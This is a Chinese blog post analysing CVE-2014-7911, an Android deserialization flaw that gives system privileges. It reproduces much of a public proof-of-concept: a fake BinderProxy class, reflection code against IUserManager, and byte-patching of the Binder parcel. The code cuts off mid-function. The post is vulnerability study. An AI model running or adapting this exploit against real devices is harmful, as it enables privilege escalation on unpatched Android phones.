CVE-2014-7911 Android 反序列化漏洞分析

  网上对于此漏洞的分析已经很多了,由于这个漏洞设计了很多底层的知识,很值得学习。总算耐着性子把这个漏洞分析了一下,文章主要记录自己的分析过程。

一、基础知识

  要完成此漏洞的分析,需要不少基础知识支持。主要有:

二、实验环境

  由于CVE-2014-7911影响了Android 5.0一下版本,所以实验设备需要And容地5.0以下。注意,部分看下手机的系统发布时间,可能OEM针对此漏洞发布了对应的漏洞补丁。另外,我看到资料上说不要使用模拟器,原始是在模拟器上不能通过反射获取系统服务。我一开始在模拟器上运行PoC代码,确实不能成功。我的实验环境如下:

Android 版本:4.3
手机:三星S3联通定制版(坑了我半天)

三、漏洞分析

1. Java层分析

  首先看下漏洞成因:在Android <5.0系统中,java.io.ObjectInputStream不校验传入的java对象是否是可序列化的。于是,攻击者可以构造一个不可序列话的java对象,并且此Java对象包含了攻击者控制的恶意成员变量。在binder 的server端收到请求时,ObjectInputStream将不可序列化的java对象进行序列化,于是发生类型混淆,攻击者控制的成员变量被当成指针处理。根据此指针可以改变程序的执行流程,进一步向system_server进程注入代码,由于system_server拥有system权限,从而使得注入的代码以system权限执行,达到了提权的目的。

  从众多的Android类或者Java类中寻找一个不可序列化的对象,从retme7公开的PoC代码中可以看到,利用了Android.os.BinderProxy类。之所以利用BinderProxy类,可能是因为利用此类在GC(垃圾回收)时的指针更加容易控制。即Android.os.BinderProxy对象的mOrgue成员。大神是如何找到这样的好利用的对象的?

  同时,不可序列化的Android.os.BinderProxy需要被处理,即需要server端进行反序列化,才能产生类型混淆。Android中的Binder机制很好地解决了这个问题,binder Client中放入一个序列化对象,在Binder Server端就对此对象进行反序列化。但是,由于在Binder Client中添加的对象需要是可序列化的,所以这一采用了一个技巧。即先构造可序列化的AAdroid.os.Binder对象,将其添加到Binder的发送数据中,但是,在发送前进行一次类似序列化的操作,把AAdroid.os.Binder改成Android.os.Binder对象。这样,server在处理的时候,就会是除了不可序列化的对象。

package AAdroid.os;

import java.io.Serializable;

public class BinderProxy implements Serializable {
   
    private static final long serialVersionUID = 0;
    public int mObject = 0x1337beef;
    public int mOrgue = 0x1337beef;
}

  通过反射获取Binder对象,这里使用的是IUserManager系统服务。但是,个人觉得通过其他的系统服务也是可以做到的。

    void expolit(int static_address) {
        Context ctx = getBaseContext();
        try {
            Bundle b = new Bundle();
            AAdroid.os.BinderProxy evilProxy = new AAdroid.os.BinderProxy();
            evilProxy.mOrgue = static_address;
            b.putSerializable("eatthis", evilProxy);

            Class clIUserManager = Class.forName("android.os.IUserManager");
            Class[] umSubclasses = clIUserManager.getDeclaredClasses();
            System.out.println(umSubclasses.length + " inner classes found");
            Class clStub = null;
            for (Class c : umSubclasses) {
                System.out.println("inner class: " + c.getCanonicalName());
                if (c.getCanonicalName().equals("android.os.IUserManager.Stub")) {
                    clStub = c;
                }
            }

            Field fTRANSACTION_setApplicationRestrictions = clStub
                    .getDeclaredField("TRANSACTION_setApplicationRestrictions");
            fTRANSACTION_setApplicationRestrictions.setAccessible(true);
            TRANSACTION_setApplicationRestrictions = fTRANSACTION_setApplicationRestrictions
                    .getInt(null);

            UserManager um = (UserManager) ctx
                    .getSystemService(Context.USER_SERVICE);
            Field fService = UserManager.class.getDeclaredField("mService");
            fService.setAccessible(true);
            Object proxy = fService.get(um);

            Class[] stSubclasses = clStub.getDeclaredClasses();
            System.out.println(stSubclasses.length + " inner classes found");
            clProxy = null;
            for (Class c : stSubclasses) {
                System.out.println("inner class: " + c.getCanonicalName());
                if (c.getCanonicalName().equals(
                        "android.os.IUserManager.Stub.Proxy")) {
                    clProxy = c;
                }
            }

            Field fRemote = clProxy.getDeclaredField("mRemote");
            fRemote.setAccessible(true);
            mRemote = (IBinder) fRemote.get(proxy);

            UserHandle me = android.os.Process.myUserHandle();
            setApplicationRestrictions(ctx.getPackageName(), b, me.hashCode());

            Log.i("badserial",
                    "waiting for boom here and over in the system service...");
        } catch (Exception e) {
            throw new RuntimeException(e);
        }
    }

  setApplicationRestrictions()函数就是完成发送不可序列化的Android.os.BinderProxy给服务端的操作。

public void setApplicationRestrictions(java.lang.String packageName,
            android.os.Bundle restrictions, int userHandle)
            throws android.os.RemoteException {
        android.os.Parcel _data = android.os.Parcel.obtain();
        android.os.Parcel _reply = android.os.Parcel.obtain();
        try {
            _data.writeInterfaceToken(DESCRIPTOR);
            _data.writeString(packageName);
            _data.writeInt(1);
            restrictions.writeToParcel(_data, 0);
            _data.writeInt(userHandle);

            byte[] data = _data.marshall();
            for (int i = 0; true; i++) {
   
                if (data[i] == 'A' && data[i + 1] == 'A' && data[i + 2] == 'd'
                        && data[i + 3] == 'r') {
                    data[i] = 'a';
                    data[i + 1] = 'n';
                    break;
          
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值